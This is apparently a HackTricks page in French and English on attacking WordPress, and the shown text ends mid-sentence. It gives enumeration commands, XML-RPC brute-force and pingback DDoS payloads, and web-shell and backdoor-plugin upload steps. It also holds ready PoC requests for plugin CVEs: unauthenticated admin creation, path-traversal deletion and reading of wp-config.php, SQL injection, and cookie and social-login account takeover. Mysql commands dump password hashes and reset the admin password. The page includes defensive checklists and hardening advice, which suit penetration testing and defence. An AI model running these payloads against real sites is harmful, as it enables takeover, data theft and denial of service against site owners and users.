Wordpress
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
-
Les fichiers téléversés vont dans :
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Les fichiers de thèmes se trouvent dans /wp-content/themes/, donc si vous modifiez un php du thème pour obtenir RCE vous utiliserez probablement ce chemin. Par exemple : en utilisant thème twentytwelve vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
-
Une autre URL utile pourrait être : /wp-content/themes/default/404.php
-
Dans wp-config.php vous pouvez trouver le mot de passe root de la base de données.
-
Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Fichiers principaux de WordPress
index.phplicense.txtcontient des informations utiles telles que la version de WordPress installée.wp-activate.phpest utilisé pour le processus d’activation par email lors de la création d’un nouveau site WordPress.- Dossiers de connexion (peuvent être renommés pour les cacher) :
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpest un fichier qui représente une fonctionnalité de WordPress permettant de transmettre des données avec HTTP comme mécanisme de transport et XML comme mécanisme d’encodage. Ce type de communication a été remplacé par le WordPress REST API.- Le dossier
wp-contentest le répertoire principal où sont stockés les plugins et thèmes. wp-content/uploads/est le répertoire où sont stockés tous les fichiers téléversés sur la plateforme.wp-includes/est le répertoire où sont stockés les fichiers core, tels que certificats, polices, fichiers JavaScript et widgets.wp-sitemap.xmlDans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML contenant tous les posts publics et les types de post et taxonomies consultables publiquement.
Post exploitation
- Le fichier
wp-config.phpcontient les informations requises par WordPress pour se connecter à la base de données telles que le nom de la base, l’hôte de la base, le nom d’utilisateur et le mot de passe, les clés d’authentification et salts, et le préfixe des tables de la base. Ce fichier de configuration peut aussi être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le troubleshooting.
Permissions des utilisateurs
- Administrateur
- Éditeur : Publie et gère ses propres posts et ceux des autres
- Auteur : Publie et gère ses propres posts
- Contributeur : Rédige et gère ses posts mais ne peut pas les publier
- Abonné : Parcourt les posts et édite son profil
Énumération passive
Obtenir la version de WordPress
Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html
Dans le code source de la page (exemple de https://wordpress.org/support/article/pages/) :
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS link files
.png)
- JavaScript files
.png)
Obtenir des plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Récupérer les thèmes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Énumération active
Plugins et thèmes
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour les découvrir tous, vous devrez Brute Force activement une liste de plugins et thèmes (espérons pour nous qu’il existe des outils automatisés qui contiennent ces listes).
Utilisateurs
- ID Brute: Vous obtenez des utilisateurs valides d’un site WordPress en Brute Forcing les IDs des utilisateurs:
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l’id est valide. Si la réponse est 400, alors l’id est invalide.
- wp-json: Vous pouvez aussi essayer d’obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Un autre endpoint /wp-json/ qui peut révéler certaines informations sur les utilisateurs est :
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Notez que cet endpoint n’expose que les utilisateurs qui ont publié un article. Seules les informations concernant les utilisateurs ayant cette fonctionnalité activée seront fournies.
Notez également que /wp-json/wp/v2/pages pourrait leak des adresses IP.
- Login username enumeration: Lors de la connexion via
/wp-login.phple message est différent selon que le nom d’utilisateur existe ou non.
XML-RPC
Si xml-rpc.php est actif vous pouvez effectuer un credentials brute-force ou l’utiliser pour lancer des attaques DoS vers d’autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).
Pour vérifier s’il est actif essayez d’accéder à /xmlrpc.php et envoyez cette requête :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des méthodes qui peuvent être utilisées pour brute-force des credentials. Si vous trouvez l’une d’elles, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
“Incorrect username or password” dans une réponse avec code 200 doit apparaître si les credentials ne sont pas valides.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
En utilisant les bons credentials, vous pouvez upload un fichier. Dans la réponse, le path apparaîtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:
.png)
Bypass 2FA
This method is meant for programs and not for humans, and old, therefore it doesn’t support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Note that you won’t be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Regardez l’utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Quand ce fichier est accédé, une requête MySQL lourde est exécutée, il pourrait donc être utilisé par des attaquants pour provoquer un DoS.
De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (lorsqu’un client demande n’importe quelle page Wordpress), ce qui peut poser des problèmes (DoS) sur les sites à fort trafic.
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l’hôte qui exécute les actions nécessaires à intervalle régulier (sans causer de problèmes).
/wp-json/oembed/1.0/proxy - SSRF
Essayez d’accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Worpress peut effectuer une requête vers vous.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Cet outil vérifie si le methodName: pingback.ping existe pour le path /wp-json/oembed/1.0/proxy et si c’est le cas, il tente de les exploiter.
Outils automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtenir l’accès en modifiant un bit
Plus qu’une attaque réelle, c’est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit dans n’importe quel fichier wordpress. Ainsi, vous pouviez inverser le bit à la position 5389 du fichier /var/www/html/wp-includes/user.php pour NOP l’opération NOT (!).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modification d’un fichier php du thème utilisé (identifiants admin nécessaires)
Appearance → Theme Editor → 404 Template (à droite)
Remplacez le contenu par un php shell :
.png)
Cherchez sur Internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser :
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Il peut être possible d’uploader des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :
.png)
Puis ajoutez un nouveau plugin :
.png)
Upload plugin and press Install Now:
.png)
Cliquez sur Procced:
.png)
Probablement cela n’affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell uploadé :
.png)
Accédez-y et vous verrez l’URL pour exécuter le reverse shell :
.png)
Uploading and activating malicious plugin
Cette méthode consiste en l’installation d’un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est effectué via le WordPress dashboard comme suit :
- Plugin Acquisition: Le plugin est obtenu depuis une source comme Exploit DB comme here.
- Plugin Installation:
- Accédez au WordPress dashboard, puis allez dans
Dashboard > Plugins > Upload Plugin. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
- Exploitation:
- Avec le plugin “reflex-gallery” installé et activé, il peut être exploité car il est connu vulnérable.
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
- Il est à noter que ceci n’est qu’une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu inclut des aides visuelles décrivant les étapes dans le WordPress dashboard pour l’installation et l’activation du plugin. Cependant, il est important de noter que l’exploitation de vulnérabilités de cette manière est illégale et contraire à l’éthique sans une autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le penetration testing avec permission explicite.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
De XSS à RCE
- WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité Cross-Site Scripting (XSS) vers une Remote Code Execution (RCE) ou d’autres vulnérabilités critiques dans WordPress. Pour plus d’infos, consultez this post. Il fournit support pour Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Crée un utilisateur dans WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
- (RCE) Built-In Plugin Edit: Édite un Built-In Plugin dans WordPress.
- (RCE) Built-In Theme Edit: Édite un Built-In Theme dans WordPress.
- (Custom) Custom Exploits: Exploits personnalisés pour des plugins/themes WordPress tiers.
Post Exploitation
Extraire les noms d’utilisateur et les mots de passe:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe administrateur :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest des plugins Wordpress
Surface d’attaque
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points suivants et des exemples de plugins vulnérables dans cet article de blog.
wp_ajax
L’une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d’autorisation ou d’authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l’authentification et l’autorisation sur l’existence d’un nonce Wordpress que tout utilisateur authentifié dans l’instance Wordpress peut avoir (indépendamment de son rôle).
Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L’utilisation de nopriv rend l’endpoint accessible par n’importe quel utilisateur (même les utilisateurs non authentifiés).
Caution
De plus, si la fonction se contente de vérifier l’autorisation de l’utilisateur avec la fonction
wp_verify_nonce, cette fonction vérifie seulement que l’utilisateur est connecté ; elle ne vérifie généralement pas le rôle de l’utilisateur. Ainsi, des utilisateurs à faibles privilèges pourraient avoir accès à des actions à privilèges élevés.
- REST API
It’s also possible to expose functions from wordpress registering a rest AP using the register_rest_route function:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
Si la fonction intégrée __return_true est utilisée, elle contourne simplement la vérification des permissions utilisateur.
- Accès direct au fichier PHP
Bien sûr, Wordpress utilise PHP et les fichiers des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle pourra être exploitée par n’importe quel utilisateur.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
- Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la route REST core users.
- En-tête d’exemple :
X-Wcpay-Platform-Checkout-User: 1(force l’ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée :
POST /wp-json/wp/v2/usersavec un tableau de rôle avec privilèges élevés.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Pourquoi ça fonctionne
- Le plugin mappe un header contrôlé par le client à l’état d’authentification et ignore les vérifications de capabilities.
- WordPress core attend la capability
create_userspour cette route ; le contournement du plugin l’évite en définissant directement le contexte de l’utilisateur courant à partir du header.
Indicateurs de succès attendus
- HTTP 201 avec un corps JSON décrivant l’utilisateur créé.
- Un nouvel utilisateur admin visible dans
wp-admin/users.php.
Checklist de détection
- Grep pour
getallheaders(),$_SERVER['HTTP_...'], ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex.wp_set_current_user(),wp_set_auth_cookie()). - Examiner les enregistrements REST pour des callbacks privilégiés qui n’ont pas de vérifications
permission_callbackrobustes et qui s’appuient à la place sur les headers de la requête. - Rechercher les usages des fonctions core de gestion d’utilisateurs (
wp_insert_user,wp_create_user) à l’intérieur des handlers REST qui ne sont protégés que par des valeurs de header.
Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks wp_ajax_ et wp_ajax_nopriv_. Lorsque la variante nopriv est utilisée le callback devient accessible aux visiteurs non authentifiés, donc toute action sensible doit en plus implémenter :
- Une vérification de capability (par ex.
current_user_can()ou au minimumis_user_logged_in()), et - Un CSRF nonce validé avec
check_ajax_referer()/wp_verify_nonce(), et - Une sanitisation / validation stricte des entrées.
Le thème multipurpose Litho (< 3.1) a omis ces 3 contrôles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problèmes introduits par cet extrait :
- Accès non authentifié – le hook
wp_ajax_nopriv_est enregistré. - No nonce / capability check – n’importe quel visiteur peut appeler l’endpoint.
- No path sanitisation – la chaîne contrôlée par l’utilisateur
fontfamilyest concaténée à un chemin de fichier sans filtrage, permettant le classique parcours../../.
Exploitation
Un attaquant peut supprimer n’importe quel fichier ou répertoire sous le répertoire de base uploads (normalement <wp-root>/wp-content/uploads/) en envoyant une seule requête HTTP POST :
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Parce que wp-config.php se trouve en dehors de uploads, quatre séquences ../ suffisent sur une installation par défaut. Supprimer wp-config.php force WordPress à lancer l’installation wizard lors de la visite suivante, permettant une prise de contrôle complète du site (l’attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
D’autres cibles impactantes incluent les fichiers .php des plugins/themes (pour casser des plugins de sécurité) ou les règles .htaccess.
Detection checklist
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
De nombreux plugins implémentent une fonctionnalité “view as role” ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) originel(s) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration repose uniquement sur des paramètres de requête (par ex., $_REQUEST['reset-for']) et sur une liste maintenue par le plugin sans vérifier les capabilities ni un nonce valide, cela devient une élévation verticale de privilèges.
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles en fonction de reset-for=<username> si le nom d’utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are'], mais n’effectuait ni un contrôle current_user_can() ni une vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis les user meta _asenha_view_admin_as_original_roles :
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Pourquoi c’est exploitable
- Fait confiance à
$_REQUEST['reset-for']et à une option du plugin sans autorisation côté serveur. - Si un utilisateur avait auparavant des privilèges plus élevés sauvegardés dans
_asenha_view_admin_as_original_roleset a été rétrogradé, il peut les restaurer en appelant le chemin de réinitialisation. - Dans certains déploiements, n’importe quel utilisateur authentifié pouvait déclencher une réinitialisation pour un autre nom d’utilisateur encore présent dans
viewing_admin_as_role_are(contrôle d’accès défaillant).
Exploitation (exemple)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Sur les builds vulnérables, cela supprime les rôles actuels et ré-ajoute les rôles originaux sauvegardés (p.ex., administrator), escaladant effectivement les privilèges.
Detection checklist
- Recherchez des fonctionnalités de changement de rôle qui conservent les original roles dans user meta (p.ex.,
_asenha_view_admin_as_original_roles). - Identifiez les chemins de réinitialisation/restauration qui :
- Lire les noms d’utilisateur depuis
$_REQUEST/$_GET/$_POST. - Modifier les rôles via
add_role()/remove_role()sanscurrent_user_can()etwp_verify_nonce()/check_admin_referer(). - Autoriser en se basant sur un tableau d’options du plugin (p.ex.,
viewing_admin_as_role_are) au lieu des capacités de l’acteur.
Escalade de privilèges non authentifiée via cookie‑trusted user switching sur le hook public init (Service Finder “sf-booking”)
Certains plugins branchent des helpers de changement d’utilisateur sur le hook public init et dérivent l’identité d’un cookie contrôlé par le client. Si le code appelle wp_set_auth_cookie() sans vérifier l’authentification, les capacités et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu’ID utilisateur arbitraire.
Schéma vulnérable typique (simplifié depuis Service Finder Bookings ≤ 6.1) :
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Pourquoi c’est exploitable
- Le hook public
initrend le handler accessible aux utilisateurs non authentifiés (pas de vérificationis_user_logged_in()). - L’identité est dérivée d’un cookie modifiable côté client (
original_user_id). - Un appel direct à
wp_set_auth_cookie($uid)connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce.
Exploitation (non authentifiée)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Considérations WAF pour WordPress/plugin CVEs
Les WAFs génériques en périphérie/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs de logique d’application/auth spécifiques qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Notes offensives
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Testez d’abord les chemins non-authentifiés (AJAX
nopriv, REST avec permissivepermission_callback, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. - Cas typiques à fort impact : élévation de privilèges (broken access control), arbitrary file upload/download, LFI, open redirect.
Notes défensives
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVEs des plugins. Implémentez des correctifs virtuels spécifiques aux vulnérabilités au niveau applicatif ou mettez à jour rapidement.
- Privilégiez des contrôles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres regex négatifs.
Protection WordPress
Mises à jour régulières
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez également que la mise à jour automatique est activée dans wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
De plus, n’installez que des plugins et thèmes WordPress fiables.
Plugins de sécurité
Autres recommandations
- Supprimez l’utilisateur admin par défaut
- Utilisez des mots de passe robustes et 2FA
- Périodiquement révisez les autorisations des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques Brute Force
- Renommez le fichier
wp-admin.phpet n’autorisez l’accès qu’en interne ou depuis certaines adresses IP.
SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2)
Le plugin de recrutement WP Job Portal a exposé une tâche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData() :
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problèmes introduits par cet extrait :
- Entrée utilisateur non assainie –
parentidprovient directement de la requête HTTP. - Concaténation de chaînes dans la clause WHERE – pas d’
is_numeric()/esc_sql()/ prepared statement. - Accès sans authentification – bien que l’action soit exécutée via
admin-post.php, la seule vérification en place est un CSRF nonce (wp_verify_nonce()), que n’importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode[wpjobportal_my_resumes].
Exploitation
- Récupérer un nonce récent :
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injecter du SQL arbitraire en abusant de
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.
Téléchargement arbitraire de fichier sans authentification / Path Traversal (WP Job Portal <= 2.3.2)
Une autre tâche, downloadcustomfile, permettait aux visiteurs de télécharger n’importe quel fichier sur le disque via path traversal. Le sink vulnérable se trouve dans modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name est contrôlé par l’attaquant et concaténé sans assainissement. Encore une fois, la seule barrière est un CSRF nonce qui peut être récupéré depuis la page de CV.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Le serveur renvoie le contenu de wp-config.php, leaking DB credentials and auth keys.
Prise de contrôle de compte non authentifiée via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Beaucoup de thèmes/plugins fournissent des helpers “social login” exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_…) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass.
Schéma typique défectueux (simplifié)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Pourquoi c’est exploitable
- Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_… action).
- Pas de vérifications nonce/capability avant un changement d’état.
- Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l’entrée de l’attacker.
- get_user_by(‘email’, $_POST[‘id’]) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n’importe quelle adresse e-mail existante.
Exploitation (unauthenticated)
- Prérequis : attacker peut atteindre /wp-admin/admin-ajax.php et connaît/devine une adresse e-mail utilisateur valide.
- Définir provider sur une valeur non prise en charge (ou l’omettre) pour atteindre la branche par défaut et envoyer id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Utiliser grep pour wp_set_auth_cookie(), get_user_by(‘email’, …) dans les gestionnaires AJAX.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
